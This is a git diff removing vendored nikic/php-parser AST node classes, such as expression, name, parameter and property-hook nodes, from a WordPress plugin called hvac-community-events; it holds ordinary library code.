a151f715..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafeMethodCall.php +++ /dev/null @@ -1,45 +0,0 @@ - Arguments */ - public array $args; - - /** - * Constructs a nullsafe method call node. - * - * @param Expr $var Variable holding object - * @param string|Identifier|Expr $name Method name - * @param array $args Arguments - * @param array $attributes Additional attributes - */ - public function __construct(Expr $var, $name, array $args = [], array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - $this->name = \is_string($name) ? new Identifier($name) : $name; - $this->args = $args; - } - - public function getSubNodeNames(): array { - return ['var', 'name', 'args']; - } - - public function getType(): string { - return 'Expr_NullsafeMethodCall'; - } - - public function getRawArgs(): array { - return $this->args; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafePropertyFetch.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafePropertyFetch.php deleted file mode 100644 index 6f73a16d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafePropertyFetch.php +++ /dev/null @@ -1,35 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, $name, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - $this->name = \is_string($name) ? new Identifier($name) : $name; - } - - public function getSubNodeNames(): array { - return ['var', 'name']; - } - - public function getType(): string { - return 'Expr_NullsafePropertyFetch'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostDec.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostDec.php deleted file mode 100644 index 3dca8fdc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostDec.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - } - - public function getSubNodeNames(): array { - return ['var']; - } - - public function getType(): string { - return 'Expr_PostDec'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostInc.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostInc.php deleted file mode 100644 index bc990c30..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PostInc.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - } - - public function getSubNodeNames(): array { - return ['var']; - } - - public function getType(): string { - return 'Expr_PostInc'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreDec.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreDec.php deleted file mode 100644 index 2f168730..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreDec.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - } - - public function getSubNodeNames(): array { - return ['var']; - } - - public function getType(): string { - return 'Expr_PreDec'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreInc.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreInc.php deleted file mode 100644 index fd455f55..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PreInc.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - } - - public function getSubNodeNames(): array { - return ['var']; - } - - public function getType(): string { - return 'Expr_PreInc'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Print_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Print_.php deleted file mode 100644 index 60574760..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Print_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_Print'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PropertyFetch.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PropertyFetch.php deleted file mode 100644 index 8c416a8c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/PropertyFetch.php +++ /dev/null @@ -1,35 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, $name, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - $this->name = \is_string($name) ? new Identifier($name) : $name; - } - - public function getSubNodeNames(): array { - return ['var', 'name']; - } - - public function getType(): string { - return 'Expr_PropertyFetch'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ShellExec.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ShellExec.php deleted file mode 100644 index e4003512..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ShellExec.php +++ /dev/null @@ -1,30 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $parts, array $attributes = []) { - $this->attributes = $attributes; - $this->parts = $parts; - } - - public function getSubNodeNames(): array { - return ['parts']; - } - - public function getType(): string { - return 'Expr_ShellExec'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticCall.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticCall.php deleted file mode 100644 index 707f34b6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticCall.php +++ /dev/null @@ -1,45 +0,0 @@ - Arguments */ - public array $args; - - /** - * Constructs a static method call node. - * - * @param Node\Name|Expr $class Class name - * @param string|Identifier|Expr $name Method name - * @param array $args Arguments - * @param array $attributes Additional attributes - */ - public function __construct(Node $class, $name, array $args = [], array $attributes = []) { - $this->attributes = $attributes; - $this->class = $class; - $this->name = \is_string($name) ? new Identifier($name) : $name; - $this->args = $args; - } - - public function getSubNodeNames(): array { - return ['class', 'name', 'args']; - } - - public function getType(): string { - return 'Expr_StaticCall'; - } - - public function getRawArgs(): array { - return $this->args; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticPropertyFetch.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticPropertyFetch.php deleted file mode 100644 index 4836a65b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/StaticPropertyFetch.php +++ /dev/null @@ -1,36 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node $class, $name, array $attributes = []) { - $this->attributes = $attributes; - $this->class = $class; - $this->name = \is_string($name) ? new VarLikeIdentifier($name) : $name; - } - - public function getSubNodeNames(): array { - return ['class', 'name']; - } - - public function getType(): string { - return 'Expr_StaticPropertyFetch'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Ternary.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Ternary.php deleted file mode 100644 index d4837e64..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Ternary.php +++ /dev/null @@ -1,37 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $cond, ?Expr $if, Expr $else, array $attributes = []) { - $this->attributes = $attributes; - $this->cond = $cond; - $this->if = $if; - $this->else = $else; - } - - public function getSubNodeNames(): array { - return ['cond', 'if', 'else']; - } - - public function getType(): string { - return 'Expr_Ternary'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Throw_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Throw_.php deleted file mode 100644 index ee49f835..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Throw_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node\Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_Throw'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryMinus.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryMinus.php deleted file mode 100644 index cd06f74b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryMinus.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_UnaryMinus'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryPlus.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryPlus.php deleted file mode 100644 index 1b44f7b3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/UnaryPlus.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_UnaryPlus'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Variable.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Variable.php deleted file mode 100644 index bab74920..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Variable.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct($name, array $attributes = []) { - $this->attributes = $attributes; - $this->name = $name; - } - - public function getSubNodeNames(): array { - return ['name']; - } - - public function getType(): string { - return 'Expr_Variable'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/YieldFrom.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/YieldFrom.php deleted file mode 100644 index 5cff88f8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/YieldFrom.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_YieldFrom'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Yield_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Yield_.php deleted file mode 100644 index bd81e69b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Yield_.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(?Expr $value = null, ?Expr $key = null, array $attributes = []) { - $this->attributes = $attributes; - $this->key = $key; - $this->value = $value; - } - - public function getSubNodeNames(): array { - return ['key', 'value']; - } - - public function getType(): string { - return 'Expr_Yield'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/FunctionLike.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/FunctionLike.php deleted file mode 100644 index 58f653a8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/FunctionLike.php +++ /dev/null @@ -1,40 +0,0 @@ - */ - private static array $specialClassNames = [ - 'self' => true, - 'parent' => true, - 'static' => true, - ]; - - /** - * Constructs an identifier node. - * - * @param string $name Identifier as string - * @param array $attributes Additional attributes - */ - public function __construct(string $name, array $attributes = []) { - if ($name === '') { - throw new \InvalidArgumentException('Identifier name cannot be empty'); - } - - $this->attributes = $attributes; - $this->name = $name; - } - - public function getSubNodeNames(): array { - return ['name']; - } - - /** - * Get identifier as string. - * - * @psalm-return non-empty-string - * @return string Identifier as string. - */ - public function toString(): string { - return $this->name; - } - - /** - * Get lowercased identifier as string. - * - * @psalm-return non-empty-string&lowercase-string - * @return string Lowercased identifier as string - */ - public function toLowerString(): string { - return strtolower($this->name); - } - - /** - * Checks whether the identifier is a special class name (self, parent or static). - * - * @return bool Whether identifier is a special class name - */ - public function isSpecialClassName(): bool { - return isset(self::$specialClassNames[strtolower($this->name)]); - } - - /** - * Get identifier as string. - * - * @psalm-return non-empty-string - * @return string Identifier as string - */ - public function __toString(): string { - return $this->name; - } - - public function getType(): string { - return 'Identifier'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/InterpolatedStringPart.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/InterpolatedStringPart.php deleted file mode 100644 index 576dac46..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/InterpolatedStringPart.php +++ /dev/null @@ -1,32 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(string $value, array $attributes = []) { - $this->attributes = $attributes; - $this->value = $value; - } - - public function getSubNodeNames(): array { - return ['value']; - } - - public function getType(): string { - return 'InterpolatedStringPart'; - } -} - -// @deprecated compatibility alias -class_alias(InterpolatedStringPart::class, Scalar\EncapsedStringPart::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/IntersectionType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/IntersectionType.php deleted file mode 100644 index 3b39cf10..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/IntersectionType.php +++ /dev/null @@ -1,27 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $types, array $attributes = []) { - $this->attributes = $attributes; - $this->types = $types; - } - - public function getSubNodeNames(): array { - return ['types']; - } - - public function getType(): string { - return 'IntersectionType'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/MatchArm.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/MatchArm.php deleted file mode 100644 index 2927f029..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/MatchArm.php +++ /dev/null @@ -1,30 +0,0 @@ - */ - public ?array $conds; - /** @var Node\Expr */ - public Expr $body; - - /** - * @param null|list $conds - */ - public function __construct(?array $conds, Node\Expr $body, array $attributes = []) { - $this->conds = $conds; - $this->body = $body; - $this->attributes = $attributes; - } - - public function getSubNodeNames(): array { - return ['conds', 'body']; - } - - public function getType(): string { - return 'MatchArm'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name.php deleted file mode 100644 index 932080b5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name.php +++ /dev/null @@ -1,278 +0,0 @@ - */ - private static array $specialClassNames = [ - 'self' => true, - 'parent' => true, - 'static' => true, - ]; - - /** - * Constructs a name node. - * - * @param string|string[]|self $name Name as string, part array or Name instance (copy ctor) - * @param array $attributes Additional attributes - */ - final public function __construct($name, array $attributes = []) { - $this->attributes = $attributes; - $this->name = self::prepareName($name); - } - - public function getSubNodeNames(): array { - return ['name']; - } - - /** - * Get parts of name (split by the namespace separator). - * - * @psalm-return non-empty-list - * @return string[] Parts of name - */ - public function getParts(): array { - return \explode('\\', $this->name); - } - - /** - * Gets the first part of the name, i.e. everything before the first namespace separator. - * - * @return string First part of the name - */ - public function getFirst(): string { - if (false !== $pos = \strpos($this->name, '\\')) { - return \substr($this->name, 0, $pos); - } - return $this->name; - } - - /** - * Gets the last part of the name, i.e. everything after the last namespace separator. - * - * @return string Last part of the name - */ - public function getLast(): string { - if (false !== $pos = \strrpos($this->name, '\\')) { - return \substr($this->name, $pos + 1); - } - return $this->name; - } - - /** - * Checks whether the name is unqualified. (E.g. Name) - * - * @return bool Whether the name is unqualified - */ - public function isUnqualified(): bool { - return false === \strpos($this->name, '\\'); - } - - /** - * Checks whether the name is qualified. (E.g. Name\Name) - * - * @return bool Whether the name is qualified - */ - public function isQualified(): bool { - return false !== \strpos($this->name, '\\'); - } - - /** - * Checks whether the name is fully qualified. (E.g. \Name) - * - * @return bool Whether the name is fully qualified - */ - public function isFullyQualified(): bool { - return false; - } - - /** - * Checks whether the name is explicitly relative to the current namespace. (E.g. namespace\Name) - * - * @return bool Whether the name is relative - */ - public function isRelative(): bool { - return false; - } - - /** - * Returns a string representation of the name itself, without taking the name type into - * account (e.g., not including a leading backslash for fully qualified names). - * - * @psalm-return non-empty-string - * @return string String representation - */ - public function toString(): string { - return $this->name; - } - - /** - * Returns a string representation of the name as it would occur in code (e.g., including - * leading backslash for fully qualified names. - * - * @psalm-return non-empty-string - * @return string String representation - */ - public function toCodeString(): string { - return $this->toString(); - } - - /** - * Returns lowercased string representation of the name, without taking the name type into - * account (e.g., no leading backslash for fully qualified names). - * - * @psalm-return non-empty-string&lowercase-string - * @return string Lowercased string representation - */ - public function toLowerString(): string { - return strtolower($this->name); - } - - /** - * Checks whether the identifier is a special class name (self, parent or static). - * - * @return bool Whether identifier is a special class name - */ - public function isSpecialClassName(): bool { - return isset(self::$specialClassNames[strtolower($this->name)]); - } - - /** - * Returns a string representation of the name by imploding the namespace parts with the - * namespace separator. - * - * @psalm-return non-empty-string - * @return string String representation - */ - public function __toString(): string { - return $this->name; - } - - /** - * Gets a slice of a name (similar to array_slice). - * - * This method returns a new instance of the same type as the original and with the same - * attributes. - * - * If the slice is empty, null is returned. The null value will be correctly handled in - * concatenations using concat(). - * - * Offset and length have the same meaning as in array_slice(). - * - * @param int $offset Offset to start the slice at (may be negative) - * @param int|null $length Length of the slice (may be negative) - * - * @return static|null Sliced name - */ - public function slice(int $offset, ?int $length = null) { - if ($offset === 1 && $length === null) { - // Short-circuit the common case. - if (false !== $pos = \strpos($this->name, '\\')) { - return new static(\substr($this->name, $pos + 1)); - } - return null; - } - - $parts = \explode('\\', $this->name); - $numParts = \count($parts); - - $realOffset = $offset < 0 ? $offset + $numParts : $offset; - if ($realOffset < 0 || $realOffset > $numParts) { - throw new \OutOfBoundsException(sprintf('Offset %d is out of bounds', $offset)); - } - - if (null === $length) { - $realLength = $numParts - $realOffset; - } else { - $realLength = $length < 0 ? $length + $numParts - $realOffset : $length; - if ($realLength < 0 || $realLength > $numParts - $realOffset) { - throw new \OutOfBoundsException(sprintf('Length %d is out of bounds', $length)); - } - } - - if ($realLength === 0) { - // Empty slice is represented as null - return null; - } - - return new static(array_slice($parts, $realOffset, $realLength), $this->attributes); - } - - /** - * Concatenate two names, yielding a new Name instance. - * - * The type of the generated instance depends on which class this method is called on, for - * example Name\FullyQualified::concat() will yield a Name\FullyQualified instance. - * - * If one of the arguments is null, a new instance of the other name will be returned. If both - * arguments are null, null will be returned. As such, writing - * Name::concat($namespace, $shortName) - * where $namespace is a Name node or null will work as expected. - * - * @param string|string[]|self|null $name1 The first name - * @param string|string[]|self|null $name2 The second name - * @param array $attributes Attributes to assign to concatenated name - * - * @return static|null Concatenated name - */ - public static function concat($name1, $name2, array $attributes = []) { - if (null === $name1 && null === $name2) { - return null; - } - if (null === $name1) { - return new static($name2, $attributes); - } - if (null === $name2) { - return new static($name1, $attributes); - } else { - return new static( - self::prepareName($name1) . '\\' . self::prepareName($name2), $attributes - ); - } - } - - /** - * Prepares a (string, array or Name node) name for use in name changing methods by converting - * it to a string. - * - * @param string|string[]|self $name Name to prepare - * - * @psalm-return non-empty-string - * @return string Prepared name - */ - private static function prepareName($name): string { - if (\is_string($name)) { - if ('' === $name) { - throw new \InvalidArgumentException('Name cannot be empty'); - } - - return $name; - } - if (\is_array($name)) { - if (empty($name)) { - throw new \InvalidArgumentException('Name cannot be empty'); - } - - return implode('\\', $name); - } - if ($name instanceof self) { - return $name->name; - } - - throw new \InvalidArgumentException( - 'Expected string, array of parts or Name instance' - ); - } - - public function getType(): string { - return 'Name'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name/FullyQualified.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name/FullyQualified.php deleted file mode 100644 index 21183786..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name/FullyQualified.php +++ /dev/null @@ -1,49 +0,0 @@ -toString(); - } - - public function getType(): string { - return 'Name_FullyQualified'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name/Relative.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name/Relative.php deleted file mode 100644 index 0226a4e4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Name/Relative.php +++ /dev/null @@ -1,49 +0,0 @@ -toString(); - } - - public function getType(): string { - return 'Name_Relative'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/NullableType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/NullableType.php deleted file mode 100644 index b99acd13..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/NullableType.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node $type, array $attributes = []) { - $this->attributes = $attributes; - $this->type = $type; - } - - public function getSubNodeNames(): array { - return ['type']; - } - - public function getType(): string { - return 'NullableType'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Param.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Param.php deleted file mode 100644 index 57d15b7b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Param.php +++ /dev/null @@ -1,119 +0,0 @@ - $attributes Additional attributes - * @param int $flags Optional visibility flags - * @param list $attrGroups PHP attribute groups - * @param PropertyHook[] $hooks Property hooks for promoted properties - */ - public function __construct( - Expr $var, ?Expr $default = null, ?Node $type = null, - bool $byRef = false, bool $variadic = false, - array $attributes = [], - int $flags = 0, - array $attrGroups = [], - array $hooks = [] - ) { - $this->attributes = $attributes; - $this->type = $type; - $this->byRef = $byRef; - $this->variadic = $variadic; - $this->var = $var; - $this->default = $default; - $this->flags = $flags; - $this->attrGroups = $attrGroups; - $this->hooks = $hooks; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'flags', 'type', 'byRef', 'variadic', 'var', 'default', 'hooks']; - } - - public function getType(): string { - return 'Param'; - } - - /** - * Whether this parameter uses constructor property promotion. - */ - public function isPromoted(): bool { - return $this->flags !== 0 || $this->hooks !== []; - } - - public function isPublic(): bool { - $public = (bool) ($this->flags & Modifiers::PUBLIC); - if ($public) { - return true; - } - - if ($this->hooks === []) { - return false; - } - - return ($this->flags & Modifiers::VISIBILITY_MASK) === 0; - } - - public function isProtected(): bool { - return (bool) ($this->flags & Modifiers::PROTECTED); - } - - public function isPrivate(): bool { - return (bool) ($this->flags & Modifiers::PRIVATE); - } - - public function isReadonly(): bool { - return (bool) ($this->flags & Modifiers::READONLY); - } - - /** - * Whether the promoted property has explicit public(set) visibility. - */ - public function isPublicSet(): bool { - return (bool) ($this->flags & Modifiers::PUBLIC_SET); - } - - /** - * Whether the promoted property has explicit protected(set) visibility. - */ - public function isProtectedSet(): bool { - return (bool) ($this->flags & Modifiers::PROTECTED_SET); - } - - /** - * Whether the promoted property has explicit private(set) visibility. - */ - public function isPrivateSet(): bool { - return (bool) ($this->flags & Modifiers::PRIVATE_SET); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/PropertyHook.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/PropertyHook.php deleted file mode 100644 index 349b9cef..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/PropertyHook.php +++ /dev/null @@ -1,105 +0,0 @@ - 0 : Flags - * 'byRef' => false : Whether hook returns by reference - * 'params' => array(): Parameters - * 'attrGroups' => array(): PHP attribute groups - * @param array $attributes Additional attributes - */ - public function __construct($name, $body, array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->name = \is_string($name) ? new Identifier($name) : $name; - $this->body = $body; - $this->flags = $subNodes['flags'] ?? 0; - $this->byRef = $subNodes['byRef'] ?? false; - $this->params = $subNodes['params'] ?? []; - $this->attrGroups = $subNodes['attrGroups'] ?? []; - } - - public function returnsByRef(): bool { - return $this->byRef; - } - - public function getParams(): array { - return $this->params; - } - - public function getReturnType() { - return null; - } - - /** - * Whether the property hook is final. - */ - public function isFinal(): bool { - return (bool) ($this->flags & Modifiers::FINAL); - } - - public function getStmts(): ?array { - if ($this->body instanceof Expr) { - $name = $this->name->toLowerString(); - if ($name === 'get') { - return [new Return_($this->body)]; - } - if ($name === 'set') { - if (!$this->hasAttribute('propertyName')) { - throw new \LogicException( - 'Can only use getStmts() on a "set" hook if the "propertyName" attribute is set'); - } - - $propName = $this->getAttribute('propertyName'); - $prop = new PropertyFetch(new Variable('this'), (string) $propName); - return [new Expression(new Assign($prop, $this->body))]; - } - throw new \LogicException('Unknown property hook "' . $name . '"'); - } - return $this->body; - } - - public function getAttrGroups(): array { - return $this->attrGroups; - } - - public function getType(): string { - return 'PropertyHook'; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'flags', 'byRef', 'name', 'params', 'body']; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/PropertyItem.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/PropertyItem.php 